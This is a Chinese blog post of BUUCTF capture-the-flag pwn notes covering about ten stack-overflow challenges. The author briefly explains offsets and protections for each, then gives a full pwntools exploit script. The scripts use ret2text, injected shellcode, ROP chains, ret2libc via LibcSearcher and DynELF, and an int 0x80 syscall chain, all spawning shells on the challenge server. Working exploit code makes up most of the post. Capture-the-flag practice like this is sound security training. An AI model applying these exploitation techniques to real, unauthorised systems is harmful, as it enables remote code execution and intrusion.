• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

开心小市民

十年饮冰,不凉热血
  • 博客园
  • 管理

公告

View Post

Buuctf 刷题笔记(PWN)(1)

Buuctf 刷题笔记(PWN)(1)

pwn1_sctf_2016

1、先使用checksec检查安全选项、再用IDA进行反编译

找到get_flag() 那么这道题可能就是ret2text类型了,直接利用栈溢出到返回地址进行覆盖,进而执行get_flag()就可以了

vuln()函数将我们的输入字符串,对I进行转换,将一个I转换成了you
根据fgets可以知道输入值最长为32长度,而&s地址到返回地址的距离应该是3C+4 所以需要利用I->you的这个特性

fgets(&s, 32, edata);

所以构造的payload应该如下:
'I'*20+'b'*4+get_flag_add

EXP


from pwn import *
context.arch='i386'
context.log_level="debug"
p=process("./pwn1_sctf_2016")
#p=remote("node4.buuoj.cn",26033)
payload='I'*20+'b'*4
get_flag=0x8048f0d

payload+=p32(get_flag)
print(payload)
p.sendline(payload)
p.interactive()

ez_pz_hackover_2016


strcmp函数在百度百科里的解释:
两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇’\0’为止

EBP: 0xffffc878 --> 0x8001b 
ESP: 0xffffc840 --> 0x1 

Found 5 results, display max 5 items:
ez_pz_hackover_2016 : 0x8048853 ("crashme")
ez_pz_hackover_2016 : 0x8049853 ("crashme")
             [heap] : 0x804b008 ("crashme\n")
            [stack] : 0xffffa359 ("crashme!\n: 0xffffc89c\n")
            [stack] : 0xffffc862 ("crashme")

可以算出crashme到EBP的偏移距离为0xffffc878 -0xffffc862+4=22+4=26

exp:


from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",29010)
p.recvuntil("crash: ")
stack_addr=int(p.recv(10),16)
p.recvuntil(">")
payload="crashme\x00"
payload=payload.ljust(26,'\x00')
payload+=p32(stack_addr-0x1c)
payload+=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

jarvisoj_tell_me_something

本题main函数 并没有执行level指令 而是直接进行了retn操作

exp

from pwn import *


context.log_level="debug"

#p=process("./guestbook")
p=remote("node4.buuoj.cn",28736)
godgame_addr=0x400620

payload='a'*0x88+p64(godgame_addr)

p.recv()
p.send(payload)
p.recv()

picoctf_2018_rop chain

32位的程序 NX保护开启了

[*] '/home/pwn/picoCTF_2018/picoCTF_2018_rop_chain'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

自带的有flag函数 &s到返回地址的偏移距离是0x18+0x04=0x1c

32位的函数调用如图

这里需要满足的是win_function1和win_function2的条件才能正确的输出flag

exp

from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")

flag_addr=0x804862b
win_1=0x80485cb
win_2=0x80485d8

payload='a'*0x1c+p32(flag_addr)


#p=process("./picoCTF_2018_rop_chain")
#p=remote("node4.buuoj.cn",27289)
p=remote("127.0.0.1",4000)
p.recvuntil("Enter your input>")
payload2='a'*0x1c
payload2+=p32(win_1)+p32(win_2)+p32(flag_addr)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
p.send(payload2)
p.recv()
p.interactive()

jarvisoj_level4(DynELF的使用)

这道题直接可以进行溢出覆盖返回地址,但程序里没有system和/bin/sh字符串 所以需要得到libc里的system地址和/bin/sh的地址
这里就出现了两种方法,一种是使用libcsearcher的和DynELF模块的 但是发现EynELF的并不能拿到权限,exp如下:

libcsearcher EXP

from pwn import *
from LibcSearcher import *
#context(os = "linux", arch = "i386", log_level= "debug")

#p=process("./level4")
p=remote("node4.buuoj.cn",29075)
elf=ELF("./level4")
write_plt=elf.plt['write']
read_plt=elf.plt['read']
read_got=elf.got['read']
vuln_fun_add=0x804844B
bss_addr=0x804A024

payload='a'*0x88+'b'*0x04+p32(write_plt)+p32(vuln_fun_add)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))
libc=LibcSearcher("read",read_addr)
libc_base=read_addr-libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

log.info("system:"+hex(system_addr))
log.info("binsh_addr:"+hex(binsh_addr))

payload_system='a'*0x88+'b'*0x04+p32(system_addr)+p32(vuln_fun_add)+p32(binsh_addr)
p.sendline(payload_system)
p.interactive()
#payload_read='a'*0x88+'b'*0x04+p32(read_plt)+p32(vuln_fun_add)+p32(1)+p32(bss_addr)+p32(8)
#p.sendline(payload_read)
#p.sendline("/bin/sh")

#payload_system='a'*0x88+'b'*0x04+p32(system_addr)+p32(vuln_fun_add)+p32(bss_addr)
#p.sendline(payload_system)
#p.interactive()


DynELF的EXP

from pwn import *
#io=remote("pwn2.jarvisoj.com",9880)
io=remote("node4.buuoj.cn",29075)
#io=process("./level4")
elf=ELF("./level4")
vulner_function_address=0x804844B
write_plt=elf.plt["write"]
read_plt=elf.plt["read"]
bss_addr=0x0804a024
def leak(address):
    payload="a"*0x88+"aaaa"+p32(write_plt)+p32(vulner_function_address)+p32(1)+p32(address)+p32(4)
    io.sendline(payload)
    leak_sysaddr=io.recv(4)
    return leak_sysaddr
d = DynELF(leak, elf=ELF("./level4"))
sys_addr=d.lookup("system","libc")
payload1="a"*0x88+"aaaa"+p32(read_plt)+p32(vulner_function_address)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")
payload2="a"*0x88+"aaaa"+p32(sys_addr)+p32(vulner_function_address)+p32(bss_addr)
io.sendline(payload2)
io.sendline("ls")
io.recv()
#io.interactive()


jarvisoj_level3_x64

这道题和jarvisoj_level4区别不大 只是是64位的程序,所以利用起来和32位的方式不一样
x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中 所以需要使用ROPgadget 找到控制寄存器的gadget即可

exp

from pwn import *
from LibcSearcher import *
context(os = "linux",log_level= "debug")

#p=process("./level3_x64")
p=remote("node4.buuoj.cn",25994)
elf=ELF("./level3_x64")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
vulnerable_function=0x4005e6
main_addr=0x40061a
rdi_addr=0x4006b3
rsi_r15_addr=0x4006b1

payload='a'*0x88+p64(rdi_addr)+p64(1)+p64(rsi_r15_addr)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
log.info(hex(write_addr))
libc=LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.info("libc_base:"+hex(libc_base))
log.info("sys_addr:"+hex(sys_addr))
log.info("bin_sh_addr:"+hex(bin_sh_addr))

payload_system='a'*0x88+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
p.sendline(payload_system)
p.interactive()

cmcc_simplerop (int 80 系统调用)

32位的程序,只开启了NX保护(也就无法注入shellcode了)


找到危险函数read 可以进行溢出

IDA中显示到Ret的偏移是1c但使用gdb进行调试发现 是0x20 然后 在文件中找到了 int 0x80 所以解决这道题 可以使用系统调用

先通过溢出构造一个read读取shellcode 然后再使用 int 0x80 进行系统调用即可

当然 为了构造exp 需要先找到需要使用的 int 0x80 ,eax,ebx,ecx,edx 的gadget和read_addr的地址以及bss可存储段的地址

如下:

i80_addr=0x080493e1
pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
read_addr=0x0806CD50
sh_addr=0x080EB584

exp

from pwn import *

context.log_level="debug"
#p=process("./simplerop")
p=remote("node4.buuoj.cn",27806)
i80_addr=0x080493e1
pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
read_addr=0x0806CD50
sh_addr=0x080EB584
payload='a'*0x20+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(sh_addr)+p32(0x8)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh_addr)+p32(i80_addr)

p.sendlineafter("Your input :",payload);
p.send('/bin/sh\x00')
p.interactive();

wustctf2020_getshell_2(system+字符串sh)

这道题比较简单 主要是细心些 需要找到门缝边缘的sh
然后调用offset+call_system+sh_addr即可

exp

from pwn import *
#context.log_level="debug"
context(os = "linux", arch = "i386", log_level= "debug")
#p=process("./wustctf2020_getshell_2")
p=remote("node4.buuoj.cn",27505)
system_addr=0x08048529
sh_addr=0x08048670

payload='a'*0x1c+p32(system_addr)+p32(sh_addr)

p.recvuntil("\ \n")
p.sendline(payload)
p.interactive()

wustctf2020_getshell(easy!)

32位 system(sh)

exp

from pwn import *

#p=process("./wustctf2020_getshell")
p=remote("node4.buuoj.cn",28698)
payload='a'*0x1c+p32(0x0804851b)
p.sendline(payload)
p.interactive()

picoctf_2018_buffer overflow 1

exp

from pwn import *
p = remote("node4.buuoj.cn",28819)
payload = 'a' * (0x28 + 4) + p32(0x080485CB)
p.sendline(payload)
p.interactive()


posted on 2021-12-09 06:56  开心小市民  阅读(431)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3